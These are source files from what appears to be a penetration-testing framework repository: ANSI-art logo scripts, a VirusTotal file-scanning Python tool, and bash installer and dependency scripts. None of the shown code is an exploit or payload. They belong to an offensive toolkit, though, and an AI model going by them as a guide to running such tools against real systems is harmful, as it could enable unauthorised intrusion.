\e[38;5;233m▀\e[48;5;237;38;5;237m█\e[48;5;233;38;5;241m▄\e[48;5;237;38;5;233m▄\e[48;5;233;38;5;237m▄\e[38;5;241m▄▄▄\e[49;38;5;233m▄\e[48;5;233m█\e[48;5;237;38;5;237m█\e[38;5;233m▄\e[49m▀\e[38;5;236m▄\e[48;5;236m█\e[49;39m \e[00m\n";SL 15 | printf " \e[38;5;233m▄\e[48;5;233;38;5;237m▄\e[48;5;237;38;5;233m▄\e[38;5;237m█\e[48;5;233m▄\e[48;5;237m██████\e[48;5;233m▄\e[48;5;236;38;5;233m▄\e[48;5;59;38;5;59m█\e[48;5;236;38;5;244m▄\e[49;38;5;236m▄▄▀\e[39m \e[00m\n";SL 16 | printf " \e[38;5;233m▄\e[48;5;233m█\e[48;5;237;38;5;237m██\e[48;5;233m▄\e[48;5;237m██\e[38;5;233m▄\e[48;5;233;38;5;66m▄▄\e[38;5;233m█\e[48;5;237;38;5;237m█\e[48;5;241m▄\e[48;5;233;38;5;241m▄\e[48;5;244;38;5;233m▄\e[48;5;59;38;5;59m█\e[38;5;236m▄\e[49m▀\e[39m \e[00m\n";SL 17 | printf " \e[48;5;233;38;5;233m█\e[48;5;66;38;5;80m▄\e[48;5;237;38;5;233m▄\e[38;5;237m██\e[38;5;233m▄\e[48;5;233;38;5;116m▄\e[48;5;80m▄\e[38;5;80m█\e[48;5;66;38;5;66m█\e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m██\e[48;5;241m▄\e[48;5;233;38;5;233m█\e[48;5;59;38;5;244m▄\e[48;5;236m▄\e[49;38;5;236m▄\e[39m \e[00m\n";SL 18 | printf " \e[48;5;233;38;5;233m█\e[48;5;80;38;5;66m▄\e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m██\e[48;5;233;38;5;233m█\e[48;5;116;38;5;80m▄▄\e[48;5;80;38;5;66m▄\e[48;5;66m█\e[48;5;237;38;5;237m████\e[48;5;233;38;5;233m█\e[48;5;59;38;5;59m█\e[48;5;236m▄\e[49;38;5;236m▄\e[39m \e[00m\n";SL 19 | printf " \e[48;5;233;38;5;233m█\e[38;5;237m▄\e[48;5;237m██\e[48;5;233m▄▄\e[48;5;66m▄▄\e[48;5;237m██\e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m██\e[48;5;233;38;5;233m█\e[48;5;59;38;5;236m▄\e[49m▀\e[39m \e[00m\n";SL 20 | printf " \e[38;5;233m▀\e[48;5;237m▄▄▄\e[38;5;237m█\e[38;5;233m▄▄▄▄▄\e[48;5;233;38;5;237m▄\e[48;5;237m████\e[48;5;233;38;5;233m█\e[49;39m \e[00m\n";SL 21 | printf " \e[48;5;251;38;5;231m▄\e[49;38;5;233m▀\e[48;5;251;38;5;231m▄\e[49;38;5;233m▀\e[39m \e[38;5;233m▀\e[48;5;237m▄\e[38;5;237m██\e[38;5;233m▄▄\e[48;5;233;38;5;234m▄▄\e[49;38;5;233m▄\e[39m \e[00m\n";SL 22 | printf " \e[38;5;233m▄\e[48;5;233;38;5;237m▄\e[48;5;237;38;5;233m▄\e[48;5;233;38;5;237m▄\e[48;5;237m█\e[48;5;233;38;5;233m█\e[48;5;234;38;5;234m█\e[48;5;66;38;5;24m▄\e[48;5;233;38;5;66m▄\e[49;38;5;73m▄▄▄\e[48;5;73m█\e[49m▀\e[39m \e[00m\n";SL 23 | printf " \e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m██\e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m█\e[38;5;233m▄\e[48;5;233m█\e[48;5;24;38;5;235m▄\e[38;5;24m█\e[48;5;23;38;5;23m█\e[48;5;30;38;5;30m███\e[48;5;73m▄▄\e[38;5;73m██\e[49m▀\e[39m \e[00m\n";SL 24 | printf " \e[38;5;233m▄▄\e[48;5;233m█\e[38;5;237m▄\e[48;5;237;38;5;233m▄▄\e[48;5;233;38;5;237m▄\e[48;5;237m█\e[48;5;233;38;5;233m█\e[48;5;241;38;5;237m▄\e[48;5;233;38;5;241m▄\e[48;5;24;38;5;233m▄\e[38;5;24m█\e[48;5;23m▄\e[48;5;30;38;5;23m▄\e[38;5;30m█████\e[48;5;73m▄\e[49;38;5;73m▄\e[39m \e[00m\n";SL 25 | printf " \e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m█\e[48;5;233;38;5;233m█\e[48;5;237;38;5;237m██\e[48;5;233;38;5;233m█\e[38;5;237m▄\e[48;5;237;38;5;233m▄\e[48;5;233m█\e[48;5;241m▄\e[48;5;237;38;5;241m▄\e[48;5;241;38;5;237m▄\e[48;5;233;38;5;233m█\e[48;5;236;38;5;235m▄\e[48;5;23m▄\e[49;38;5;233m▄\e[38;5;30m▀\e[39m \e[38;5;30m▀▀\e[48;5;30m█\e[48;5;73m▄\e[49;39m \e[00m\n";SL 26 | printf " \e[38;5;233m▄\e[39m \e[48;5;233;38;5;233m█\e[48;5;237m▄\e[48;5;233;38;5;237m▄\e[48;5;237m█\e[38;5;233m▄\e[48;5;233m█\e[48;5;237m▄\e[38;5;237m███\e[48;5;233m▄▄\e[38;5;233m█\e[48;5;234;38;5;234m█\e[48;5;235m▄\e[48;5;233;38;5;233m█\e[49;39m \e[38;5;30m▀\e[39m \e[00m\n";SL 27 | printf " \e[38;5;233m▄\e[48;5;233;38;5;237m▄\e[48;5;237m███\e[48;5;233;38;5;233m█\e[48;5;237m▄\e[38;5;237m█\e[48;5;233;38;5;233m██\e[48;5;237;38;5;237m██\e[48;5;233m▄\e[48;5;237;38;5;233m▄\e[38;5;237m██\e[48;5;233m▄▄\e[38;5;233m█\e[49;38;5;236m▄▄▄▄\e[48;5;236;38;5;59m▄▄▄▄\e[49;38;5;236m▄▄\e[39m\e[00m\n";SL 28 | printf " \e[48;5;233;38;5;233m█\e[48;5;237m▄▄\e[49m▀\e[48;5;233m█\e[49;38;5;237m▀\e[48;5;233m▄\e[38;5;233m█\e[38;5;237m▄▄▄\e[48;5;237m██\e[48;5;233;38;5;233m█\e[49m▀\e[48;5;237m▄▄\e[49m▀\e[48;5;59;38;5;236m▄\e[48;5;244m▄▄▄\e[38;5;59m▄\e[48;5;59;38;5;244m▄▄\e[38;5;236m▄\e[49m▀\e[39m \e[00m\n";SL 29 | printf " \e[48;5;233;38;5;233m█\e[48;5;237m▄▄\e[48;5;233m█\e[48;5;237;38;5;237m█\e[49m▄\e[48;5;237m█\e[38;5;233m▄\e[49m▀▀\e[48;5;237m▄\e[48;5;233m█\e[49;39m \e[38;5;236m▀▀\e[48;5;59m▄\e[48;5;244m▄\e[48;5;236m█\e[49m▀\e[39m \e[00m\n";SL 30 | printf " \e[38;5;233m▀▀▀▀▀\e[39m \e[00m\n";SL 31 | printf " \e[00m\n";SL 32 | -------------------------------------------------------------------------------- /programs/SCAN/VIRUS/vtscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import json 3 | from huepy import * 4 | import argparse 5 | import os 6 | import requests 7 | import sys 8 | from termcolor import colored 9 | from terminaltables import SingleTable 10 | import subprocess 11 | 12 | if "VTSCAN_API_KEY" in os.environ: 13 | api_key=os.environ.get("VTSCAN_API_KEY") #export VTSCAN_API_KEY=YOURAPIKEY or pass it with "-k" flag 14 | else: 15 | api_key="" 16 | 17 | def check_response_code(resp): 18 | if resp.status_code == 204: 19 | print(bad("Request rate limit exceeded")) 20 | sys.exit() 21 | 22 | def arguments(): 23 | parser = argparse.ArgumentParser() 24 | parser.add_argument("FILE", help="File containing hashes, binary, hash string or directory") 25 | parser.add_argument("-k", "--key", dest='KEY', metavar="", 26 | action="store", default=api_key, help="Specify VT API key") 27 | parser.add_argument("-q", "--quiet", dest="QUIET", action="store_true", help="Do not print vendor analysis results") 28 | parser.add_argument("-p", "--positive", dest="POSITIVE", action="store_true", help="Show only positive results in vendor analysis") 29 | parser.add_argument("-o", "--out", dest="OUT", metavar="", action="store", help="Save JSON response to a file") 30 | parser.add_argument("-c", "--clear", dest="CLEAR", action="store_true", help="Clear screen before printing vendor analysis results ") 31 | res = parser.parse_args() 32 | return res 33 | 34 | def main(): 35 | res = arguments() 36 | api_key = res.KEY 37 | file_to_scan = res.FILE 38 | params = {"apikey":api_key} 39 | files = {"file":(res.FILE, open(res.FILE, 'rb'))} 40 | resp = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', files=files, params=params) 41 | check_response_code(resp) 42 | print("\033[92m(\033[0m>\033[92m)\033[0m Sending file to vt-api..") 43 | resource_hash = resp.json()['resource'] 44 | params['resource'] = resource_hash 45 | headers = { 46 | "Accept-Encoding": "gzip, deflate", 47 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4" 48 | } 49 | resp = requests.get("https://www.virustotal.com/vtapi/v2/file/report", params=params, headers=headers) 50 | check_response_code(resp) 51 | if res.OUT: 52 | with open(res.OUT, "w+") as outfile: 53 | outfile.write(resp.text) 54 | outfile.close() 55 | print("\033[92m(\033[0m!\033[92m)\033[0m Received response\n") 56 | response_code = resp.json()['response_code'] 57 | if(response_code == 1): 58 | positives = int(resp.json()['positives']) 59 | total = int(resp.json()['total']) 60 | if res.CLEAR: 61 | subprocess.call("clear", shell=True) 62 | detection_rate = round((positives/total)*100, 2) 63 | attrs = [] 64 | if int(detection_rate) in range(0, 20): 65 | color = 'blue' 66 | elif int(detection_rate) in range (20, 40): 67 | color = 'green' 68 | elif int(detection_rate) in range (40, 60): 69 | color = 'yellow' 70 | elif int(detection_rate) in range (60, 80): 71 | color = 'red' 72 | elif int(detection_rate) in range (60, 100): 73 | color = 'red' 74 | attrs = ['blink'] 75 | print(f"{green('(+)')} Results for {bold(res.FILE)} ({resp.json()['scan_date']})") 76 | print(f"Permalink: {resp.json()['permalink']}") 77 | print(f"\n{bold('Detection rate:')} {colored(detection_rate, color, attrs=attrs)} ({green(positives)} positive / {red(total-positives)} negative)") 78 | print(f"MD5: {resp.json()['md5']}") 79 | print(f"SHA256: {resp.json()['sha256']}") 80 | print(f"SHA1: {resp.json()['sha1']}") 81 | scans = resp.json()['scans'] 82 | table_data = [['--VENDOR--', '--STATUS--', '--RESULT--', '--UPDATE--']] 83 | for scan in scans: 84 | detected = colored("not detected", "red", attrs=["bold"]) 85 | scan_result = "N/A" 86 | if scans[scan]['detected']: 87 | detected = colored("detected", "green", attrs=["bold"]) 88 | if scans[scan]['result'] != None: 89 | scan_result = scans[scan]["result"] 90 | date = str(scans[scan]['update']) 91 | date = "{}-{}-{}".format(date[0:4], date[4:6], date[6:8]) 92 | if (res.POSITIVE and scans[scan]["detected"]): 93 | table_data.append([scan, detected, scan_result, date]) 94 | elif not res.POSITIVE: 95 | table_data.append([scan, detected, scan_result, date]) 96 | table = SingleTable(table_data) 97 | table.inner_column_border = False 98 | table.outer_border = False 99 | table.justify_columns[1] = "center" 100 | if (not res.QUIET and len(table_data) != 1): 101 | print("\nVendors analysis results:\n") 102 | print(table.table) 103 | elif(response_code == -2): 104 | print("\033[92m(\033[0m>\033[92m)\033[0m Your resource is queued for analysis. Please submit your request in a moment again.\n") 105 | else: 106 | print(resp.json()['verbose_msg']) 107 | 108 | if __name__ == "__main__": 109 | try: 110 | main() 111 | except KeyboardInterrupt: 112 | print("\nProgram Interrupt") 113 | -------------------------------------------------------------------------------- /assets/programs/requirements.psf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | OS=$(uname -o) 4 | # System Checker 5 | 6 | function screenSize() { 7 | if ! hash tput &> /dev/null 8 | then 9 | apt install -y ncurses-utils 10 | fi 11 | 12 | SIZE=$(tput cols) 13 | 14 | if [ ! ${SIZE} -ge "60" ] 15 | then 16 | printf "\nYour Terminal Window Size must be above ${C2}60${R0} >= ${C1}${SIZE}${R0}\nPinch two fingers together on the screen to zoom out.\n" 17 | fi 18 | } 19 | 20 | if [[ $OS == *'Android'* ]];then 21 | screenSize 22 | TMPDIR=/data/data/com.termux/files/usr/tmp 23 | pm() { 24 | apt install -y $1 25 | } 26 | else 27 | TMPDIR=/tmp 28 | # Package Managers 29 | distro=$(source /etc/os-release && echo $ID) 30 | case $distro in 31 | arch) 32 | pm() { 33 | sudo pacman -Sy --noconfirm $1 34 | } 35 | ;; 36 | ubuntu) 37 | pm() { 38 | sudo apt-get install -y $1 39 | } 40 | ;; 41 | linuxmint) 42 | pm() { sudo apt-get install -y $1 43 | } 44 | ;; 45 | kali) 46 | pm() { sudo apt-get install -y $1 47 | } 48 | ;; 49 | parrot) 50 | pm() { sudo apt-get install -y $1 51 | } 52 | ;; 53 | debian) 54 | pm() { sudo apt-get install -y $1 55 | } 56 | ;; 57 | void) 58 | pm() { sudo xbps-install $1 59 | } 60 | ;; 61 | manjaro*) 62 | pm() { sudo pacman -Sy $1 63 | } 64 | ;; 65 | garuda) 66 | pm() { sudo pacman -Sy $1 67 | } 68 | ;; 69 | alpine) 70 | pm() { sudo apk add $1 71 | } 72 | ;; 73 | gentoo) 74 | pm() { sudo emerge --ask $1 75 | } 76 | ;; 77 | fedora) 78 | pm() { sudo dnf install -y $1 79 | } 80 | ;; 81 | predator) 82 | pm() { sudo pacman -Sy --noconfirm $1 83 | } 84 | ;; 85 | artix) 86 | pm() { sudo pacman -Sy --noconfirm $1 87 | } 88 | ;; 89 | puppy_fossapup64) 90 | pm() { sudo pkg -d $1 && sudo pkg -i $1 91 | } 92 | ;; 93 | raspbian) 94 | pm() { sudo apt install -y $1 95 | } 96 | ;; 97 | endeavouros) 98 | pm() { sudo pacman -Sy --noconfirm $1 99 | } 100 | ;; 101 | freebsd) 102 | pm() { sudo pkg install -y $1 103 | } 104 | ;; 105 | *) 106 | echo "Sorry, but your System doesn't support [package manager] !" 107 | # Add manualy to use package manager to start psfconsole ! 108 | exit 0 109 | ;; 110 | esac 111 | fi 112 | 113 | if ! hash svn node &> /dev/null 114 | then 115 | pm subversion nodejs 116 | fi 117 | 118 | installPACKAGE() { 119 | if ! hash $1 &> /dev/null 120 | then 121 | pm $1 122 | fi 123 | } 124 | 125 | PACKAGES="svn php git jq tmux curl clang bc python2 python3" 126 | 127 | errorPACKAGE() { 128 | printf "${C1}\e[1mE:${R0} Unable to run psfconsole right now cause :\n" 129 | printf "${C1}\e[1mE:${R0} Dependencies '${dep_missing}' are not Installed yet (psfconsole)\n" 130 | exit 1 131 | } 132 | 133 | checkPACKAGE() { 134 | if ! hash ${PACKAGES} $1 $2 &> /dev/null 135 | then 136 | errorPACKAGE 137 | exit 1 138 | fi 139 | } 140 | 141 | if [[ $1 == "-d" || $1 == "--debug" ]] 142 | then 143 | for dependency in ${PACKAGES}; do 144 | if ! command -v "$dependency" >/dev/null 2>&1; then 145 | # Append to our list of missing dependencies 146 | dep_missing="$dep_missing $dependency" 147 | fi 148 | done 149 | 150 | if [ "${#dep_missing}" -gt 0 ]; then 151 | if [[ ${2} == "-t" ]] 152 | then 153 | MISSING_PACKAGES=${dep_missing} 154 | else 155 | errorPACKAGE 156 | fi 157 | else 158 | 159 | if [[ ! ${2} == "-t" ]] 160 | then 161 | echo "+ P: Required packages are installed." 162 | fi 163 | fi 164 | fi 165 | 166 | install_packages() 167 | { 168 | for iPKG in ${PACKAGES} 169 | do 170 | installPACKAGE "${iPKG}" 171 | done 172 | } 173 | 174 | if [[ ! ${2} == "-t" ]] 175 | then 176 | install_packages 177 | fi 178 | 179 | 180 | python_packages() 181 | { 182 | #source ~/pentesting-framework/assets/programs/animation.psf 183 | 184 | declare -a PIPS=( 185 | 'terminaltables' 186 | 'json2html' 187 | 'termcolor' 188 | 'requests' 189 | 'shodan' 190 | 'huepy' 191 | 'jedi' 192 | 'bs4' 193 | 'six' 194 | ) 195 | 196 | pip_requirements() 197 | { 198 | LOOP=0 199 | ARG=$1 200 | DUMP() 201 | { 202 | pip$ARG show ${PIPS[@]} | grep Name | cut -c 7- > $TMPDIR/pip$ARG.log 203 | sleep 1 204 | } 205 | 206 | progress-bar "__cmd__ DUMP" "0" "prog:4" \ 207 | ":: Checking python$ARG requirements" -r 208 | 209 | for i in "${PIPS[@]}" 210 | do 211 | KEY=$(printf "%02d" $NUM) 212 | LOOP=$((${LOOP:-0}+1)) 213 | CATCH=${i::$((${#i}))} 214 | 215 | # CHECK=$(pip$1 show $CATCH | grep Name | cut -c 7- > $TMPDIR/pip$1.log) 216 | 217 | LOGS=$(cat $TMPDIR/pip$1.log | awk NR==$LOOP) 218 | 219 | if [[ ${CATCH} == ${LOGS} ]] 220 | then 221 | : 222 | # echo "$CATCH is available." 223 | else 224 | pip$ARG install $CATCH 225 | # echo "$CATCH not available." 226 | fi 227 | ((NUM++)) 228 | done 229 | } 230 | 231 | #pp() 232 | #{ 233 | pip_requirements 2 234 | pip_requirements 3 235 | #} 236 | 237 | #progress-bar "__cmd__ pp" "0.05" "prog:4" \ 238 | #":: Checking python requirements" -r 239 | } 240 | 241 | if [[ $1 == "-i" || $1 == "--install" ]] 242 | then 243 | python_packages 244 | fi 245 | 246 | 247 | -------------------------------------------------------------------------------- /assets/programs/setup.psf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | VARIABLES() 4 | { 5 | VAR=$(curl -sL git.io/pSf | grep "VAR" | awk '{print $1}' | head -n1 | cut -c 5-) 6 | API=$(curl -sL https://api.github.com/repos/ankushbhagats/pentesting-framework) 7 | STAR=$(printf "$API" | grep stargazers_count | tr -d ' stargazers_count:",') 8 | FORK=$(printf "$API" | grep forks_count | tr -d ' forks_count:",') 9 | SIZE=$(printf "$API" | grep size | tr -d ' size:",') 10 | SIZE=$(echo "$(( ${SIZE} / 1024)) MB") 11 | LIMT=$(echo "$API" | grep -o "limit exceeded") 12 | LINK="https://github.com/ankushbhagats/pentesting-framework" 13 | OS=$(uname -o | grep -o "Android") 14 | NAME="pentesting-framework" 15 | } 16 | 17 | 18 | printf "\r:: Checking for installation..." 19 | VARIABLES 20 | printf " \r" 21 | 22 | printf "\r " 23 | 24 | RNAME() { 25 | cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-} | head -n 1 26 | } 27 | RNAME=$(RNAME 10) 28 | 29 | SL() { 30 | sleep 0.01 31 | } 32 | 33 | DISCLAIMER() 34 | { 35 | echo -e "\n${C1}Disclaimer${R0} : The use of the ${C2}${B0}pentesting-framework${R0} and/or its resources is complete responsibility of the end-user. Developers assume no liabiity and are not responsible for any misuse or damage caused by ${C2}${B0}pentesting-framework${R0}. Some of your actions may be illegal and you can not use this software to test someone without written permission from person or company.${R0}\n" 36 | } 37 | 38 | function START() { 39 | if [[ ${LIMT} == "limit exceeded" ]] 40 | then cd ${HOME} 41 | STAR="api limit exceeded" 42 | FORK="api limit exceeded" 43 | SIZE="api limit exceeded" 44 | fi 45 | printf "${C2}<${R0} Welcome to our Project Pentesting Framework. ${C2}/>${R0}\n";SL 46 | printf "${C4}Star:${R0} $STAR\n";SL 47 | printf "${C4}Fork:${R0} $FORK\n";SL 48 | if [[ ${install_type} == "lite" ]] 49 | then 50 | printf "${C4}Size:${R0} 1.5 MB\n";SL 51 | else 52 | printf "${C4}Size:${R0} $SIZE\n";SL 53 | fi 54 | printf "${C4}Version:${R0} $VAR\n";SL 55 | printf "${C4}Give Star On:${R0} ${R4}$LINK${R0}\n\n";SL 56 | printf "${C2}(${R0}>${C2})${R0} Pentesting Framework Installing...\n";SL 57 | } 58 | 59 | INSTALL_OPTION() 60 | { 61 | printf " 62 | ┌────┬──────────────┬───────┬────────┬────────────┬──────────┐ 63 | │ Sn.│ Options │ Size │ Add-On │ Storage │ Packages │ 64 | ├────┼──────────────┼───────┼────────┼────────────┼──────────┤ 65 | │ 1. │ Full Version │ 60 MB │ 80 MB │ 200 MB │ 500 MB │ 66 | │ 2. │ Lite Version │ 1.5MB │ 30 MB │ Temporarily│ 500 MB │ 67 | └────┴──────────────┴───────┴────────┴────────────┴──────────┘ 68 | " 69 | 70 | while true 71 | do 72 | printf "[Select a option given above]: " 73 | read select_install 74 | if [[ ${select_install} == [1/2] ]] 75 | then 76 | break 77 | else 78 | echo "${r0SIGN} Undefined Option Entered." 79 | fi 80 | done 81 | } 82 | 83 | function COMPLETE() { 84 | echo -e "${C4}(${R0}>${C4})${R0} Pentesting Framework installation finished. 85 | ${C4}(${R0}>${C4})${R0} Type ${C2}psfconsole${R0} for start." 86 | } 87 | 88 | function ALREADY() { 89 | echo -e "\r${C4}(${R0}>${C4})${R0} Pentesting Framework (${install_type}) is already installed to ${C2}${presentDIR}${R0} 90 | ${C4}(${R0}>${C4})${R0} Type ${C2}psfconsole${R0} for start.\n" 91 | } 92 | 93 | function forTermux () { 94 | 95 | SETUP() 96 | { 97 | cat <<- CONF > $PREFIX/bin/psfconsole 98 | #!$PREFIX/bin/bash 99 | DIRNAME="${confDIRNAME}" 100 | PNAME="psfconsole" 101 | 102 | cd \${DIRNAME} 103 | bash \${PNAME} \${@} 104 | CONF 105 | } 106 | 107 | if [ -d "${presentDIR}" ] 108 | then 109 | ALREADY 110 | echo "Answer in: Y/n" 111 | printf "[Would you like to install pentesting-framework again?]: " 112 | read q 113 | if [[ ${q} == [Y/y] ]] 114 | then 115 | rm -rf ${presentDIR} 116 | else 117 | unset confDIRNAME 118 | confDIRNAME=$installDIR 119 | SETUP 120 | exit 0 121 | fi 122 | fi 123 | 124 | INSTALL_OPTION 125 | 126 | if [[ ${select_install} == 1 ]] 127 | then 128 | DISCLAIMER 129 | START 130 | SETUP 131 | chmod +x $PREFIX/bin/psfconsole 132 | git clone ${LINK} ${confDIRNAME} 133 | install_type=full 134 | COMPLETE 135 | 136 | else 137 | 138 | DISCLAIMER 139 | START 140 | SETUP 141 | chmod +x $PREFIX/bin/psfconsole 142 | git clone ${LINK} ${confDIRNAME} --depth=1 143 | install_type=lite 144 | COMPLETE 145 | fi 146 | } 147 | 148 | function forLinux () { 149 | 150 | SETUP() 151 | { 152 | cat <<- CONF > psfconsole 153 | #!/usr/bin/bash 154 | DIRNAME="${confDIRNAME}" 155 | PNAME="psfconsole" 156 | 157 | cd \${DIRNAME} 158 | bash \${PNAME} \${@} 159 | CONF 160 | } 161 | 162 | if [ -d "${presentDIR}" ] 163 | then 164 | ALREADY 165 | echo "Answer in: Y/n" 166 | printf "[Would you like to install pentesting-framework again?]: " 167 | read q 168 | if [[ ${q} == [Y/y] ]] 169 | then 170 | sudo rm -rf ${presentDIR} 171 | else 172 | unset confDIRNAME 173 | confDIRNAME=$installDIR 174 | SETUP 175 | fi 176 | fi 177 | 178 | INSTALL_OPTION 179 | 180 | if [[ ${select_install} == 1 ]] 181 | then 182 | DISCLAIMER 183 | START 184 | SETUP 185 | sudo mv psfconsole /usr/bin 186 | sudo chmod +x /usr/bin/psfconsole 187 | sudo git clone ${LINK} ${confDIRNAME} 188 | sudo chown -R $(whoami):$(whoami) ${confDIRNAME} 189 | install_type=full 190 | COMPLETE 191 | 192 | else 193 | 194 | DISCLAIMER 195 | START 196 | SETUP 197 | sudo mv psfconsole /usr/bin 198 | sudo chmod +x /usr/bin/psfconsole 199 | sudo git clone ${LINK} ${confDIRNAME} --depth=1 200 | sudo chown -R $(whoami):$(whoami) ${confDIRNAME} 201 | install_type=lite 202 | COMPLETE 203 | fi 204 | } 205 | 206 | if [[ $OS == *'Android'* ]];then 207 | # for android 208 | confDIRNAME="${PREFIX}/share/pentesting-framework" 209 | 210 | #.... 211 | if [[ ! -f "${PREFIX}/etc/psf.conf" ]] 212 | then 213 | presentDIR="" 214 | else 215 | source ${PREFIX}/etc/psf.conf 216 | presentDIR="${installDIR}" 217 | fi 218 | #.... 219 | 220 | if [[ $1 == "--dir" ]] 221 | then 222 | unset confDIRNAME 223 | confDIRNAME="${2}/${NAME}" 224 | fi 225 | forTermux 226 | echo "installDIR=\"${confDIRNAME}\"" > $PREFIX/etc/psf.conf 227 | echo "install_type=${install_type}" >> $PREFIX/etc/psf.conf 228 | else 229 | # for linux 230 | confDIRNAME="/usr/share/pentesting-framework" 231 | 232 | #.... 233 | if [[ ! -f "/etc/psf.conf" ]] 234 | then 235 | presentDIR="" 236 | else 237 | source /etc/psf.conf 238 | presentDIR="${installDIR}" 239 | fi 240 | #.... 241 | 242 | if [[ $1 == "--dir" ]] 243 | then 244 | unset confDIRNAME 245 | confDIRNAME="${2}/${NAME}" 246 | fi 247 | forLinux 248 | echo "installDIR=\"${confDIRNAME}\"" > psf.conf 249 | echo "install_type=${install_type}" >> psf.conf 250 | sudo mv psf.conf /etc 251 | fi 252 | -------------------------------------------------------------------------------- /assets/logos/logo.2: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m __________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m DON'T ASK HOW TO HACK!!!\e[92m />\e[0m\n";SL 9 | printf "\e[0m -------------------------- \e[0m\e[00m\n";SL 10 | printf " \e[0m\\e[0m \e[00m\n";SL 11 | printf " \e[0m\\e[0m \e[38;5;161m▄\e[48;5;161m██\e[38;5;204m▄▄\e[49;38;5;161m▄\e[39m \e[38;5;161m▄▄▄\e[39m \e[00m\n";SL 12 | printf " \e[0m\\e[0m \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161m▄\e[48;5;204;38;5;161m▄\e[38;5;204m█\e[48;5;161m▄\e[49;38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204;38;5;175m▄▄▄\e[48;5;161;38;5;204m▄▄\e[49;38;5;161m▄\e[39m \e[00m\n";SL 13 | printf " \e[38;5;161m▄\e[48;5;161;38;5;204m▄▄\e[38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161m▄\e[48;5;204;38;5;161m▄\e[38;5;204m██\e[48;5;161m▄\e[48;5;204m█\e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m██\e[48;5;175;38;5;175m█\e[48;5;204;38;5;204m█\e[48;5;161m▄\e[49;38;5;161m▄\e[39m \e[00m\n";SL 14 | printf " \e[38;5;161m▄\e[48;5;161;38;5;204m▄▄▄\e[38;5;161m█\e[38;5;204m▄\e[48;5;204;38;5;161m▄\e[38;5;204m██\e[38;5;161m▄▄\e[48;5;161;38;5;218m▄▄▄▄▄\e[48;5;175m▄\e[48;5;218m█\e[48;5;211;38;5;175m▄\e[48;5;218;38;5;218m█\e[48;5;175;38;5;175m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[00m\n";SL 15 | printf " \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m███\e[38;5;161m▄▄\e[48;5;161m█\e[48;5;204;38;5;204m█\e[38;5;161m▄\e[48;5;161;38;5;218m▄\e[48;5;218m██\e[38;5;175m▄\e[38;5;16m▄▄\e[38;5;218m█\e[38;5;16m▄\e[38;5;218m██\e[48;5;175m▄\e[48;5;218m█\e[48;5;175;38;5;175m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[38;5;161m▄\e[48;5;161m█\e[38;5;204m▄▄▄\e[49;38;5;161m▄\e[39m \e[00m\n";SL 16 | printf " \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161;38;5;161m█\e[49;39m \e[48;5;175;38;5;175m█\e[48;5;161;38;5;16m▄\e[48;5;218;38;5;218m██\e[38;5;16m▄\e[48;5;16;38;5;218m▄\e[48;5;218m███\e[48;5;16m▄\e[48;5;218;38;5;16m▄▄\e[38;5;218m█\e[38;5;175m▄\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[38;5;161m▄\e[48;5;161;38;5;204m▄▄▄▄\e[49;38;5;161m▄\e[48;5;161m█\e[38;5;204m▄\e[48;5;204m█\e[38;5;161m▄▄▄\e[38;5;204m█\e[48;5;161m▄\e[49;38;5;161m▄\e[39m \e[00m\n";SL 17 | printf " \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[48;5;175;38;5;175m█\e[48;5;16;38;5;16m█\e[48;5;218;38;5;218m██\e[48;5;16;38;5;16m█\e[48;5;218;38;5;218m█████\e[48;5;175;38;5;16m▄\e[48;5;218;38;5;218m██\e[48;5;175;38;5;175m█\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[38;5;161m▄▄▄▄\e[38;5;204m█\e[48;5;161m▄\e[48;5;204;38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m███\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[00m\n";SL 18 | printf " \e[38;5;161m▀\e[48;5;204m▄\e[38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[38;5;175m▄\e[48;5;175m█\e[48;5;16m▄\e[48;5;175;38;5;218m▄\e[48;5;218m█\e[48;5;175m▄\e[48;5;218m████\e[38;5;175m▄\e[48;5;175;38;5;218m▄\e[48;5;218m█\e[38;5;161m▄\e[48;5;161;38;5;204m▄▄\e[48;5;204m█\e[48;5;161m▄▄▄\e[49;38;5;161m▄\e[48;5;161m█\e[48;5;204m▄\e[48;5;161;38;5;204m▄\e[48;5;204m████\e[48;5;161;38;5;161m█\e[48;5;204m▄\e[48;5;161;38;5;204m▄\e[48;5;204m█████\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[00m\n";SL 19 | printf " \e[38;5;161m▀\e[48;5;161m█\e[49;39m 